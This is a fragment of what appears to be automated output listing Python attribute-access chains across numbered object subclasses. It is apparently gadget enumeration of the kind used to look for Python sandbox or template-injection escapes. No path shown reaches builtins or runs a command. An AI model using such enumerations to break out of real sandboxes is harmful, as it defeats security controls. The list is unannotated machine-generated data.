"Subclass 164: ..repr_array.__call__.__self__", "Subclass 138: ..send.__ge__.__self__", "Subclass 192: ..__new__.__eq__.__self__", "Subclass 104: ..__init__.__ne__.__self__", "Subclass 110: ..__getattr__.__ne__.__self__", "Subclass 164: ..repr_int.__format__.__self__", "Subclass 95: ..__getitem__.__class__", "Subclass 132: ..__call__.__delattr__.__self__", "Subclass 133: ..__exit__.__ge__.__self__", "Subclass 140: ..__init_subclass__.__self__.__exit__", "Subclass 199: ..is_resource.__setattr__.__self__", "Subclass 104: ..find_loader.__format__.__self__", "Subclass 134: ..__call__.__le__.__self__", "Subclass 86: ..exec_module.__init_subclass__.__self__", "Subclass 104: ..find_loader.__call__.__objclass__", "Subclass 87: ..__enter__.__new__.__self__", "Subclass 133: ..__exit__.__str__.__self__", "Subclass 173: ..__init__.__eq__.__self__", "Subclass 104: ..find_module", "Subclass 184: ..__delitem__.__new__.__self__", "Subclass 105: ..__init__.__delattr__.__self__", "Subclass 195: ..IO.readable", "Subclass 186: ..__init__.__get__.__objclass__", "Subclass 164: ..repr_instance.__repr__.__objclass__", "Subclass 108: ..reset.__new__.__self__", "Subclass 199: ..resource_path.__subclasshook__.__self__", "Subclass 196: ..Pattern.__class__.__mro_entries__", "Subclass 132: ..__call__.__new__.__self__", "Subclass 164: .._repr_iterable.__reduce__.__self__", "Subclass 164: ..repr_array.__str__.__self__", "Subclass 82: ..__init__.__format__.__self__", "Subclass 107: ..__weakref__.__objclass__.getstate", "Subclass 199: ..open_resource.__delattr__.__self__", "Subclass 96: ..exec_module", "Subclass 137: ..deleter.__le__.__self__", "Subclass 110: ..write.__getattribute__.__self__", "Subclass 140: ..__weakref__.__objclass__.__exit__", "Subclass 95: .._get_parent_path.__init_subclass__.__self__", "Subclass 184: ..__getitem__.__format__.__self__", "Subclass 95: .._find_parent_path_names.__hash__.__self__", "Subclass 164: ..repr_str.__class__", "Subclass 135: ..__call__.__new__.__self__", "Subclass 195: ..BinaryIO.isatty.__class__", "Subclass 110: ..readline.__repr__.__objclass__", "Subclass 175: ..__call__.__le__.__self__", "Subclass 137: ..setter.__ge__.__self__", "Subclass 94: ..contents.__class__", "Subclass 104: ..__repr__.__new__.__self__", "Subclass 130: ..__class__._dump_registry.__class__", "Subclass 164: .._repr_iterable", "Subclass 164: ..repr.__class__", "Subclass 95: ..__repr__.__init__.__self__", "Subclass 139: ..__str__.__str__.__self__", "Subclass 138: ..throw.__setattr__.__self__", "Subclass 87: ..__exit__.__lt__.__self__", "Subclass 109: ..write.__class__", "Subclass 186: ..__init__.__init_subclass__.__self__", "Subclass 177: ..__init_subclass__.__self__.enter_context", "Subclass 137: ..setter.__lt__.__self__", "Subclass 184: ..__weakref__.__objclass__.__setitem__", "Subclass 192: ..__new__.__class__", "Subclass 98: ..__init_subclass__.__self__._get_spec", "Subclass 185: ..match.__sizeof__.__self__", "Subclass 95: ..__init__.__str__.__self__", "Subclass 82: ..__exit__.__reduce_ex__.__self__", "Subclass 198: ..module_repr.__dir__.__self__", "Subclass 198: ..load_module.__reduce__.__self__", "Subclass 81: ..__init__.__lt__.__self__", "Subclass 139: ..__str__.__dir__.__self__", "Subclass 198: ..create_module.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__reduce_ex__.__self__", "Subclass 176: ..__init__.__repr__.__self__", "Subclass 95: ..__repr__.__repr__.__self__", "Subclass 183: ..checkgroup.__setattr__.__self__", "Subclass 132: ..__class__._abc_registry_clear", "Subclass 81: ..__repr__.__call__.__self__", "Subclass 109: ..reset.__format__.__self__", "Subclass 199: ..__class__.__subclasscheck__.__class__", "Subclass 87: ..__exit__.__ne__.__self__", "Subclass 96: ..is_package.__get__.__objclass__", 'Global func 1: ..__lt__.__self__', "Subclass 183: ..opengroup.__reduce_ex__.__self__", "Subclass 109: ..readlines.__init_subclass__.__self__", "Subclass 164: ..repr_set.__ge__.__self__", "Subclass 94: ..contents.__getattribute__.__self__", "Subclass 134: ..__call__.__init_subclass__.__self__", "Subclass 138: ..close.__ne__.__self__", "Subclass 98: ..__init__.__reduce__.__self__", "Subclass 96: ..__subclasshook__.__self__.load_module", "Subclass 133: ..__init__.__get__.__objclass__", "Subclass 108: ..reset.__class__", "Subclass 196: ..Match.__class__.__mro_entries__", "Subclass 177: .._create_cb_wrapper.__ne__.__self__", "Subclass 39: ..__annotations__.__objclass__", "Subclass 134: ..__call__.__str__.__self__", "Subclass 185: ..__init_subclass__.__self__.get", "Subclass 199: ..__init_subclass__.__self__.contents", "Subclass 135: .._Printer__setup.__sizeof__.__self__", "Subclass 105: ..contents.__reduce__.__self__", "Subclass 92: .._open_registry.__func__.__class__", "Subclass 185: ..tell.__setattr__.__self__", "Subclass 83: ..__repr__.__str__.__self__", "Subclass 133: ..__init__.__dir__.__self__", "Subclass 114: ..__hash__.__repr__.__self__", "Subclass 110: ..__enter__.__get__.__objclass__", "Subclass 164: ..repr_set.__get__.__self__", "Subclass 93: ..is_package.__get__.__self__", "Subclass 96: ..exec_module.__reduce_ex__.__self__", "Subclass 107: ..__init__.__setattr__.__self__", "Subclass 104: ..get_code.__repr__.__self__", "Subclass 186: ..__init__.__init__.__self__", "Subclass 137: ..__get__.__dir__.__self__", "Subclass 109: ..readline.__get__.__self__", "Subclass 135: ..__init__.__call__.__objclass__", "Subclass 105: ..contents.__call__.__objclass__", "Subclass 175: .._recreate_cm.__delattr__.__self__", "Subclass 135: ..__init__.__gt__.__self__", "Subclass 109: ..seek", "Subclass 106: ..decode.__setattr__.__self__", "Subclass 94: ..__init_subclass__.__self__.get_filename", "Subclass 83: ..__eq__.__repr__.__self__", "Subclass 135: .._Printer__setup.__delattr__.__self__", "Subclass 131: ..__contains__.__format__.__self__", "Subclass 199: ..contents.__reduce__.__self__", "Subclass 86: ..find_spec.__self__.exec_module", "Subclass 183: ..opengroup.__lt__.__self__", "Subclass 94: ..get_resource_reader.__reduce_ex__.__self__", "Subclass 104: ..__weakref__.__objclass__.find_loader", "Subclass 94: ..get_resource_reader.__init__.__self__", "Subclass 130: ..__len__.__ge__.__self__", "Subclass 164: ..repr_frozenset.__delattr__.__self__", "Subclass 98: ..find_spec", "Subclass 174: ..__get__.__init__.__self__", "Subclass 177: .._create_exit_wrapper.__repr__.__self__", "Subclass 95: .._recalculate.__eq__.__self__", "Subclass 130: ..__len__.__class__", "Subclass 164: ..repr1.__new__.__self__", "Subclass 185: ..getwhile.__new__.__self__", "Subclass 138: ..send.__str__.__self__", "Subclass 110: ..__getattr__.__get__.__self__", "Subclass 137: ..__set__.__sizeof__.__self__", "Subclass 140: ..__exit__.__new__.__self__", "Subclass 98: ..find_spec.__hash__.__self__", "Subclass 110: ..__next__", "Subclass 199: ..contents.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__call__.__objclass__", "Subclass 110: ..seek.__new__.__self__", "Subclass 115: ..__class__.register", "Subclass 110: ..writelines.__dir__.__self__", "Subclass 104: ..load_module.__eq__.__self__", "Subclass 98: ..find_loader.__ne__.__self__", "Subclass 164: ..repr_instance.__str__.__self__", "Subclass 94: ..__init__.__dir__.__self__", "Subclass 119: ..__class__._dump_registry", "Subclass 173: ..__get__.__gt__.__self__", "Subclass 105: ..open_resource.__getattribute__.__self__", "Subclass 184: ..__delitem__.__class__", "Subclass 95: ..__setitem__.__setattr__.__self__", "Subclass 198: ..load_module.__hash__.__self__", "Subclass 164: ..repr_frozenset.__getattribute__.__self__", "Subclass 177: ..push.__le__.__self__", "Subclass 184: ..__setitem__.__init__.__self__", "Subclass 115: ..__await__.__ge__.__self__", "Subclass 82: ..__enter__.__reduce_ex__.__self__", "Subclass 104: ..get_code.__eq__.__self__", "Subclass 183: ..checklookbehindgroup.__subclasshook__.__self__", "Subclass 110: ..reset.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__sizeof__.__self__", "Subclass 110: ..__next__.__str__.__self__", "Subclass 109: ..__exit__.__subclasshook__.__self__", "Subclass 164: ..repr_deque.__setattr__.__self__", "Subclass 185: ..match", "Subclass 140: ..__enter__.__init__.__self__", "Subclass 98: ..find_module.__getattribute__.__self__", "Subclass 183: ..opengroup.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__dir__.__self__", "Subclass 81: ..__repr__.__get__.__self__", "Subclass 81: ..__repr__.__setattr__.__self__", "Subclass 198: ..__class__._abc_registry_clear.__class__", "Subclass 138: ..close.__dir__.__self__", "Subclass 96: ..get_code.__reduce_ex__.__self__", "Subclass 139: ..__init__.__repr__.__self__", "Subclass 117: ..__aiter__.__subclasshook__.__self__", "Subclass 138: ..close.__ge__.__self__", "Subclass 183: ..opengroup.__get__.__self__", "Subclass 185: ..get.__reduce__.__self__", "Subclass 164: ..repr1.__reduce__.__self__", "Subclass 137: ..__set__.__getattribute__.__self__", "Subclass 138: ..__next__.__sizeof__.__self__", "Subclass 108: ..reset.__get__.__self__", "Subclass 136: ..__call__.__repr__.__objclass__", "Subclass 172: ..__get__.__hash__.__self__", "Subclass 109: ..seek.__setattr__.__self__", "Subclass 110: ..readline.__eq__.__self__", "Subclass 109: ..read.__gt__.__self__", "Subclass 177: ..__init_subclass__.__self__._push_exit_callback", "Subclass 109: ..writelines.__setattr__.__self__", "Subclass 81: ..__repr__.__format__.__self__", "Subclass 110: ..__enter__.__init__.__self__", "Subclass 138: ..throw.__hash__.__self__", "Subclass 110: ..__next__.__lt__.__self__", "Subclass 164: ..repr_array.__setattr__.__self__", "Subclass 94: ..__eq__.__lt__.__self__", "Subclass 164: ..repr_array.__class__", "Subclass 98: ..find_spec.__str__.__self__", "Subclass 95: ..__len__.__repr__.__objclass__", "Subclass 80: ..acquire.__call__.__objclass__", "Subclass 138: ..__await__.__eq__.__self__", "Subclass 185: ..__weakref__.__objclass__.error", "Subclass 94: ..load_module.__call__.__objclass__", "Subclass 195: ..IO.writelines", "Subclass 104: ..__init__.__le__.__self__", "Subclass 109: ..readline.__sizeof__.__self__", "Subclass 80: ..__init__.__delattr__.__self__", "Subclass 174: ..__init__.__class__", "Subclass 164: ..repr.__call__.__objclass__", "Subclass 108: ..decode.__new__.__self__", "Subclass 183: ..checkgroup.__ne__.__self__", "Subclass 135: ..__call__.__call__.__self__", "Subclass 107: ..__init__.__str__.__self__", "Subclass 94: ..__subclasshook__.__self__.open_resource", "Subclass 104: ..find_loader.__new__.__self__", "Subclass 115: ..__class__._abc_caches_clear", "Subclass 138: ..__init__.__call__.__objclass__", "Subclass 93: ..create_module.__class__", "Subclass 139: ..__subclasshook__.__self__.__init__", "Subclass 137: ..getter.__class__", "Subclass 140: ..__repr__.__get__.__self__", "Subclass 164: ..repr_frozenset.__ne__.__self__", "Subclass 110: ..seek.__reduce_ex__.__self__", "Subclass 138: ..__await__.__sizeof__.__self__", "Subclass 107: ..encode.__subclasshook__.__self__", "Subclass 104: ..__subclasshook__.__self__.find_loader", "Subclass 131: ..__contains__.__lt__.__self__", "Subclass 80: ..has_deadlock.__format__.__self__", "Subclass 173: ..__init__.__repr__.__self__", "Subclass 107: ..getstate.__get__.__objclass__", "Subclass 184: ..getwidth.__reduce__.__self__", "Subclass 119: ..__iter__.__str__.__self__", "Subclass 138: ..__init__.__le__.__self__", "Subclass 110: ..readlines.__get__.__objclass__", "Subclass 80: ..__init__.__reduce__.__self__", "Subclass 80: ..__repr__.__setattr__.__self__", "Subclass 131: ..__contains__.__ne__.__self__", "Subclass 184: ..__init__.__setattr__.__self__", "Subclass 134: ..__call__.__class__", "Subclass 199: ..contents.__lt__.__self__", "Subclass 137: ..__set__.__str__.__self__", "Subclass 164: ..__init__.__delattr__.__self__", "Subclass 86: ..module_repr.__reduce__.__self__", "Subclass 186: ..scan.__setattr__.__self__", "Subclass 93: ..exec_module.__repr__.__self__", "Subclass 109: ..readlines.__init__.__self__", "Subclass 183: ..closegroup.__eq__.__self__", "Subclass 172: ..__init__.__subclasshook__.__self__", "Subclass 186: ..__init__.__ge__.__self__", "Subclass 104: ..find_loader.__str__.__self__", "Subclass 164: ..repr_dict.__subclasshook__.__self__", "Subclass 132: ..__call__.__repr__.__self__", "Subclass 184: ..insert.__sizeof__.__self__", "Subclass 108: ..decode.__class__", "Subclass 132: ..__class__._dump_registry", "Subclass 95: ..append.__get__.__self__", "Subclass 110: ..__next__.__get__.__self__", "Subclass 95: ..__contains__.__str__.__self__", "Subclass 95: ..__getitem__.__setattr__.__self__", "Subclass 115: ..__class__._abc_registry_clear", "Subclass 177: ..enter_context.__le__.__self__", "Subclass 109: ..read.__get__.__objclass__", "Subclass 138: ..close.__call__.__self__", "Subclass 135: .._Printer__setup.__str__.__self__", "Subclass 132: ..__subclasshook__.__func__", "Subclass 109: ..__iter__.__subclasshook__.__self__", "Subclass 83: ..__repr__.__dir__.__self__", "Subclass 104: ..is_package.__eq__.__self__", "Subclass 98: .._fill_cache.__sizeof__.__self__", 'Global func 1: ..__call__.__self__', "Subclass 110: ..__init__.__new__.__self__", "Subclass 94: ..__hash__.__subclasshook__.__self__", "Subclass 109: ..__enter__.__eq__.__self__", "Subclass 133: ..__init__.__subclasshook__.__self__", "Subclass 177: ..enter_context.__reduce_ex__.__self__", "Subclass 84: ..get_source.__self__.module_repr", "Subclass 198: ..create_module.__reduce__.__self__", "Subclass 81: ..acquire.__repr__.__self__", "Subclass 104: ..load_module.__lt__.__self__", "Subclass 98: ..__repr__.__init_subclass__.__self__", "Subclass 106: ..encode.__reduce__.__self__", "Subclass 80: ..__init__.__call__.__self__", "Subclass 94: ..contents.__call__.__self__", "Subclass 184: ..insert.__getattribute__.__self__", "Subclass 94: ..load_module.__get__.__objclass__", "Subclass 164: ..repr_int.__call__.__objclass__", "Subclass 130: ..__class__.__instancecheck__", "Subclass 96: ..create_module.__le__.__self__", "Subclass 104: ..find_loader.__repr__.__objclass__", "Subclass 96: ..exec_module.__str__.__self__", "Subclass 164: ..repr_frozenset.__eq__.__self__", "Subclass 133: ..__getattr__.__ne__.__self__", "Subclass 130: ..__subclasshook__.__self__.__len__", "Subclass 95: ..__iter__.__subclasshook__.__self__", "Subclass 104: ..get_resource_reader.__reduce__.__self__", "Subclass 140: ..__repr__.__lt__.__self__", "Subclass 134: ..__repr__.__init__.__self__", "Subclass 184: ..__setitem__.__call__.__self__", "Subclass 137: ..__get__.__format__.__self__", "Subclass 81: ..release.__new__.__self__", "Subclass 86: ..exec_module.__get__.__objclass__", "Subclass 109: ..__init_subclass__.__self__.__init__", "Subclass 110: ..__iter__.__get__.__self__", "Subclass 130: ..__len__.__eq__.__self__", "Subclass 108: ..__weakref__.__objclass__.setstate", "Subclass 96: ..__subclasshook__.__self__.is_package", "Subclass 133: ..__enter__.__new__.__self__", "Subclass 133: ..__getattr__.__le__.__self__", "Subclass 93: ..load_module.__class__", "Subclass 140: ..__init__.__call__.__self__", "Subclass 98: ..find_module.__gt__.__self__", "Subclass 109: ..__weakref__.__objclass__.seek", "Subclass 164: ..repr_int.__str__.__self__", "Subclass 174: ..__get__.__delattr__.__self__", "Subclass 136: ..__call__.__dir__.__self__", "Subclass 174: ..__init_subclass__.__self__.__init__", "Subclass 82: ..__weakref__.__objclass__.__enter__", "Subclass 177: ..__subclasshook__.__self__._push_cm_exit", "Subclass 164: ..repr_set.__str__.__self__", "Subclass 107: ..reset.__delattr__.__self__", "Subclass 109: ..__init__.__gt__.__self__", "Subclass 137: ..getter.__gt__.__self__", "Subclass 110: ..seek.__getattribute__.__self__", "Subclass 137: ..setter.__reduce_ex__.__self__", "Subclass 136: ..__subclasshook__.__self__.__repr__", "Subclass 184: ..__init__", "Subclass 108: ..__subclasshook__.__self__.getstate", "Subclass 107: ..reset.__reduce_ex__.__self__", "Subclass 164: ..repr_set.__repr__.__objclass__", "Subclass 96: ..create_module.__get__.__objclass__", "Subclass 172: ..__get__.__get__.__self__", "Subclass 138: ..__iter__.__reduce__.__self__", "Subclass 81: ..release.__sizeof__.__self__", "Subclass 137: ..__weakref__.__objclass__.getter", "Subclass 105: ..resource_path.__repr__.__objclass__", "Subclass 185: ..error.__delattr__.__self__", "Subclass 95: ..__repr__.__eq__.__self__", "Subclass 134: ..__repr__.__setattr__.__self__", "Subclass 105: ..resource_path.__dir__.__self__", "Subclass 110: ..__enter__.__eq__.__self__", "Subclass 137: ..__delete__.__init_subclass__.__self__", "Subclass 106: ..decode.__lt__.__self__", "Subclass 95: ..append.__init_subclass__.__self__", "Subclass 109: ..__exit__.__init__.__self__", "Subclass 188: ..__copy__.__init__.__self__", "Subclass 110: ..__iter__", "Subclass 104: ..get_filename.__eq__.__self__", "Subclass 135: ..__init_subclass__.__self__.__init__", "Subclass 109: ..read.__le__.__self__", "Subclass 164: ..repr_array.__get__.__self__", "Subclass 96: ..is_package.__init__.__self__", "Subclass 184: ..__delitem__.__setattr__.__self__", "Subclass 94: ..get_filename.__subclasshook__.__self__", "Subclass 80: ..has_deadlock.__lt__.__self__", "Subclass 140: ..__init__.__reduce__.__self__", "Subclass 110: ..readline", "Subclass 109: ..__init__.__sizeof__.__self__", "Subclass 184: ..insert.__delattr__.__self__", "Subclass 98: ..find_module.__ne__.__self__", "Subclass 184: ..__setitem__.__getattribute__.__self__", "Subclass 174: ..__get__.__repr__.__self__", "Subclass 112: ..__class__.__subclasscheck__.__class__", "Subclass 104: ..get_source.__str__.__self__", "Subclass 98: ..invalidate_caches.__eq__.__self__", "Subclass 114: ..__hash__.__str__.__self__", "Subclass 98: .._get_spec.__init_subclass__.__self__", "Subclass 109: ..__enter__.__subclasshook__.__self__", "Subclass 83: ..__repr__.__repr__.__self__", "Subclass 184: ..__weakref__.__objclass__.__len__", "Subclass 137: ..__get__.__subclasshook__.__self__", "Subclass 137: ..__get__.__delattr__.__self__", "Subclass 184: ..getwidth.__dir__.__self__", "Subclass 179: ..__class__.__iter__.__class__", "Subclass 96: ..__weakref__.__objclass__.__init__", "Subclass 133: ..__getattr__.__new__.__self__", "Subclass 110: ..__iter__.__dir__.__self__", "Subclass 94: ..get_filename.__reduce_ex__.__self__", "Subclass 177: ..callback.__lt__.__self__", "Subclass 133: ..__init_subclass__.__self__.__iter__", "Subclass 115: ..__await__.__setattr__.__self__", "Subclass 109: ..__getattr__.__lt__.__self__", "Subclass 184: ..__len__.__repr__.__self__", "Subclass 139: ..__str__.__gt__.__self__", "Subclass 199: ..open_resource.__ge__.__self__", "Subclass 107: ..reset.__get__.__self__", "Subclass 95: ..append.__new__.__self__", "Subclass 177: ..__init__.__call__.__self__", "Subclass 185: ..error.__str__.__self__", "Subclass 104: ..find_module.__call__.__self__", "Subclass 131: ..__contains__.__eq__.__self__", "Subclass 183: ..closegroup.__hash__.__self__", "Subclass 109: ..readlines.__subclasshook__.__self__", "Subclass 105: ..__init__.__init_subclass__.__self__", "Subclass 94: ..resource_path.__setattr__.__self__", "Subclass 109: ..__next__.__ne__.__self__", "Subclass 87: ..__init_subclass__.__self__.__exit__", "Subclass 93: ..load_module.__le__.__self__", "Subclass 105: ..resource_path.__reduce__.__self__", "Subclass 110: ..readline.__ge__.__self__", "Subclass 110: ..__iter__.__str__.__self__", "Subclass 185: ..tell.__init__.__self__", "Subclass 184: ..__repr__.__class__", "Subclass 185: ..error.__get__.__self__", "Subclass 80: ..__init__.__ge__.__self__", "Subclass 94: ..contents.__setattr__.__self__", "Subclass 195: ..BinaryIO.__init_subclass__.__func__", "Subclass 184: ..__init__.__repr__.__self__", "Subclass 84: ..find_module.__func__.__class__", "Subclass 98: .._get_spec.__subclasshook__.__self__", "Subclass 195: ..TextIO.isatty", "Subclass 108: ..reset.__delattr__.__self__", "Subclass 110: ..write.__get__.__self__", "Subclass 135: ..__init__.__ne__.__self__", 'Global func 1: ..__delattr__.__self__', "Subclass 184: ..__setitem__.__lt__.__self__", "Subclass 164: ..__init__.__subclasshook__.__self__", "Subclass 104: ..get_code.__new__.__self__", "Subclass 104: ..__repr__.__class__", "Subclass 195: ..BinaryIO.seek", "Subclass 175: ..__call__.__get__.__self__", "Subclass 184: ..__len__.__sizeof__.__self__", "Subclass 110: ..read.__sizeof__.__self__", "Subclass 197: ..find_module.__repr__.__objclass__", "Subclass 164: .._repr_iterable.__delattr__.__self__", "Subclass 84: ..module_repr.__hash__.__self__", "Subclass 140: ..__repr__.__setattr__.__self__", "Subclass 95: ..__init_subclass__.__self__.__contains__", "Subclass 104: ..is_package.__delattr__.__self__", "Subclass 199: ..__weakref__.__objclass__.is_resource", "Subclass 109: ..readlines.__ge__.__self__", "Subclass 172: ..__get__.__gt__.__self__", "Subclass 94: ..__hash__.__delattr__.__self__", "Subclass 96: ..create_module.__init__.__self__", "Subclass 96: ..exec_module.__le__.__self__", "Subclass 135: .._Printer__setup.__getattribute__.__self__", "Subclass 184: ..__getitem__.__hash__.__self__", 'Global func 1: ..__dir__.__self__.__class__', "Subclass 80: ..has_deadlock.__call__.__objclass__", "Subclass 95: ..__setitem__.__dir__.__self__", "Subclass 94: ..is_resource.__str__.__self__", "Subclass 195: ..IO.readlines.__class__", "Subclass 164: ..repr.__lt__.__self__", "Subclass 95: ..__len__.__reduce_ex__.__self__", "Subclass 81: ..__init__.__ge__.__self__", "Subclass 133: ..__iter__.__delattr__.__self__", "Subclass 184: ..__len__.__call__.__self__", "Subclass 138: ..__iter__.__reduce_ex__.__self__", "Subclass 94: ..contents.__repr__.__self__", "Subclass 96: ..__init__.__getattribute__.__self__", "Subclass 184: ..__setitem__.__init_subclass__.__self__", "Subclass 172: ..__get__.__subclasshook__.__self__", 'Global func 1: ..__repr__.__objclass__', "Subclass 96: ..is_package.__ge__.__self__", "Subclass 192: ..__new__.__reduce_ex__.__self__", "Subclass 188: ..__copy__.__repr__.__objclass__", "Subclass 184: ..__init_subclass__.__self__.append", "Subclass 92: .._search_registry.__func__.__class__", "Subclass 164: ..repr_deque.__init_subclass__.__self__", "Subclass 112: ..__class__.register", "Subclass 177: .._create_exit_wrapper", "Subclass 175: .._recreate_cm.__format__.__self__", "Subclass 135: .._Printer__setup.__dir__.__self__", "Subclass 109: ..__weakref__.__objclass__.__enter__", "Subclass 195: ..TextIO.tell", "Subclass 199: ..__class__.__new__.__class__", "Subclass 185: ..__init__.__get__.__self__", "Subclass 81: ..release.__get__.__self__", "Subclass 195: ..TextIO.truncate", "Subclass 185: ..getuntil.__reduce__.__self__", "Subclass 138: ..__init__.__getattribute__.__self__", "Subclass 130: ..__len__.__call__.__objclass__", "Subclass 132: ..__call__.__le__.__self__", "Subclass 94: ..open_resource.__format__.__self__", "Subclass 94: ..__subclasshook__.__self__.get_filename", "Subclass 107: ..reset", "Subclass 179: ..__class__._convert_.__class__", "Subclass 119: ..__class__.__subclasscheck__", "Subclass 98: ..__subclasshook__.__self__.__init__", "Subclass 138: ..__init__.__subclasshook__.__self__", "Subclass 106: ..decode.__dir__.__self__", "Subclass 80: ..__repr__.__gt__.__self__", "Subclass 197: ..__weakref__.__objclass__.find_module", "Subclass 184: ..__delitem__.__str__.__self__", "Subclass 109: ..__next__.__setattr__.__self__", "Subclass 95: ..__contains__.__dir__.__self__", "Subclass 96: ..get_source.__str__.__self__", "Subclass 98: ..invalidate_caches.__get__.__objclass__", "Subclass 94: ..load_module.__le__.__self__", "Subclass 80: ..__repr__.__reduce__.__self__", "Subclass 94: ..__init__.__sizeof__.__self__", "Subclass 134: ..__repr__.__hash__.__self__", "Subclass 110: ..__init__.__init_subclass__.__self__", "Subclass 94: ..get_data.__str__.__self__", "Subclass 133: ..__enter__.__dir__.__self__", "Subclass 104: ..find_module.__eq__.__self__", "Subclass 95: ..__init__.__gt__.__self__", "Subclass 177: .._create_exit_wrapper.__sizeof__.__self__", "Subclass 185: ..getuntil.__format__.__self__", "Subclass 194: ..__class__.__instancecheck__", "Subclass 93: ..__init_subclass__.__self__.is_package", "Subclass 164: ..repr_str.__get__.__objclass__", "Subclass 110: ..__iter__.__format__.__self__", "Subclass 164: ..repr_str.__setattr__.__self__", "Subclass 83: ..__init__.__str__.__self__", "Subclass 98: ..path_hook.__self__.find_module", "Subclass 95: .._find_parent_path_names.__format__.__self__", "Subclass 184: ..getwidth.__init_subclass__.__self__", "Subclass 164: ..repr_array.__init__.__self__", "Subclass 93: ..__init_subclass__.__self__.create_module", "Subclass 132: ..__init_subclass__.__self__.__call__", "Subclass 173: ..__init__.__init_subclass__.__self__", "Subclass 109: ..reset.__str__.__self__", "Subclass 184: ..dump.__dir__.__self__", "Subclass 185: ..__subclasshook__.__self__._Tokenizer__next", "Subclass 197: ..find_module.__le__.__self__", "Subclass 164: ..repr_tuple.__ge__.__self__", "Subclass 184: ..__setitem__.__repr__.__self__", "Subclass 94: ..__init__.__setattr__.__self__", "Subclass 92: .._search_registry.__func__", "Subclass 140: ..__subclasshook__.__self__.__init__", "Subclass 174: ..__init__.__subclasshook__.__self__", "Subclass 184: ..__subclasshook__.__self__.__repr__", "Subclass 199: ..is_resource.__getattribute__.__self__", "Subclass 136: ..__call__.__setattr__.__self__", "Subclass 133: ..__init__.__init__.__self__", "Subclass 80: ..has_deadlock.__hash__.__self__", "Subclass 95: ..__init__.__init__.__self__", "Subclass 110: ..__exit__.__ne__.__self__", "Subclass 110: ..__getattr__.__ge__.__self__", "Subclass 184: ..__init_subclass__.__self__.__delitem__", "Subclass 95: ..__len__.__gt__.__self__", "Subclass 80: ..__init__.__get__.__self__", "Subclass 179: ..__class__.__getitem__", "Subclass 98: ..find_spec.__getattribute__.__self__", "Subclass 109: ..__iter__.__lt__.__self__", "Subclass 184: ..__init__.__reduce__.__self__", "Subclass 172: ..__init__.__repr__.__self__", "Subclass 104: ..get_resource_reader.__call__.__objclass__", "Subclass 107: ..__init__.__get__.__objclass__", "Subclass 96: ..exec_module.__delattr__.__self__", "Subclass 84: ..find_spec.__self__.module_repr", "Subclass 164: ..repr1.__hash__.__self__", "Subclass 98: .._fill_cache.__init__.__self__", "Subclass 197: ..find_module.__init__.__self__", "Subclass 104: ..__init__.__sizeof__.__self__", "Subclass 135: ..__call__.__class__", "Subclass 83: ..__eq__.__reduce_ex__.__self__", "Subclass 184: ..__len__.__init__.__self__", "Subclass 174: ..__init__.__reduce__.__self__", "Subclass 183: ..opengroup.__call__.__objclass__", "Subclass 93: ..is_package.__call__.__objclass__", "Subclass 108: ..decode.__reduce_ex__.__self__", "Subclass 138: ..__await__.__new__.__self__", "Subclass 188: ..__deepcopy__.__call__.__self__", "Subclass 86: ..get_code.__self__.module_repr", "Subclass 177: ..push.__dir__.__self__", "Subclass 80: ..acquire.__init__.__self__", "Subclass 135: ..__call__.__reduce__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_resource_reader", "Subclass 107: ..getstate.__reduce_ex__.__self__", "Subclass 137: ..__init_subclass__.__self__.__delete__", "Subclass 93: ..exec_module.__call__.__objclass__", "Subclass 98: ..invalidate_caches.__format__.__self__", "Subclass 104: ..__weakref__.__objclass__.load_module", "Subclass 110: ..write.__le__.__self__", "Subclass 172: .._make_unbound_method.__repr__.__self__", "Subclass 164: ..repr_deque.__gt__.__self__", 'Global func 1: ..__new__.__self__', "Subclass 104: ..find_loader.__lt__.__self__", "Subclass 104: ..get_data.__get__.__self__", "Subclass 86: ..is_package.__func__.__class__", "Subclass 98: ..__repr__.__ne__.__self__", "Subclass 184: ..__len__.__get__.__objclass__", "Subclass 177: ..callback.__reduce__.__self__", "Subclass 177: ..callback.__init__.__self__", "Subclass 108: ..getstate.__reduce__.__self__", "Subclass 184: ..__len__.__call__.__objclass__", "Subclass 82: ..__exit__.__setattr__.__self__", "Subclass 93: ..load_module.__gt__.__self__", "Subclass 105: ..__init__.__repr__.__objclass__", "Subclass 199: ..contents.__subclasshook__.__self__", "Subclass 184: ..insert.__format__.__self__", "Subclass 133: ..__init_subclass__.__self__.__enter__", "Subclass 95: ..__len__.__call__.__self__", "Subclass 98: ..__init_subclass__.__self__.find_spec", "Subclass 108: ..__init__", "Subclass 109: ..__init_subclass__.__self__.__exit__", "Subclass 198: ..__class__.register.__class__", "Subclass 115: ..__subclasshook__.__func__", "Subclass 132: ..__class__.__new__.__class__", "Subclass 94: ..get_resource_reader.__getattribute__.__self__", "Subclass 109: ..__iter__.__call__.__objclass__", "Subclass 134: ..__call__.__reduce_ex__.__self__", 'Global func 1: ..__reduce__.__self__.__class__', "Subclass 105: ..__init_subclass__.__self__.is_resource", "Subclass 109: ..__enter__.__class__", "Subclass 109: ..reset.__dir__.__self__", "Subclass 185: ..get.__eq__.__self__", "Subclass 140: ..__enter__.__dir__.__self__", "Subclass 86: ..module_repr.__get__.__self__", "Subclass 105: ..is_resource.__reduce__.__self__", "Subclass 184: ..insert.__ge__.__self__", "Subclass 164: ..repr_tuple.__hash__.__self__", "Subclass 164: ..repr_list.__ne__.__self__", "Subclass 185: ..error.__init_subclass__.__self__", "Subclass 81: ..__init__.__reduce__.__self__", "Subclass 83: ..__init__.__get__.__self__", "Subclass 110: ..__iter__.__lt__.__self__", "Subclass 184: ..dump.__repr__.__self__", "Subclass 198: ..load_module.__repr__.__self__", "Subclass 164: ..repr_frozenset.__setattr__.__self__", "Subclass 184: ..getwidth", "Subclass 110: ..writelines.__new__.__self__", "Subclass 107: ..setstate.__get__.__self__", "Subclass 199: ..resource_path.__gt__.__self__", "Subclass 177: ..__init__.__hash__.__self__", "Subclass 94: ..resource_path.__repr__.__self__", "Subclass 137: ..__get__.__call__.__self__", "Subclass 177: ..enter_context.__eq__.__self__", "Subclass 107: ..reset.__lt__.__self__", "Subclass 164: ..repr_instance.__sizeof__.__self__", "Subclass 104: ..__subclasshook__.__self__.load_module", "Subclass 137: ..deleter.__str__.__self__", "Subclass 87: ..__exit__.__reduce_ex__.__self__", "Subclass 105: ..open_resource.__init__.__self__", "Subclass 110: ..reset.__repr__.__self__", "Subclass 185: ..get.__format__.__self__", 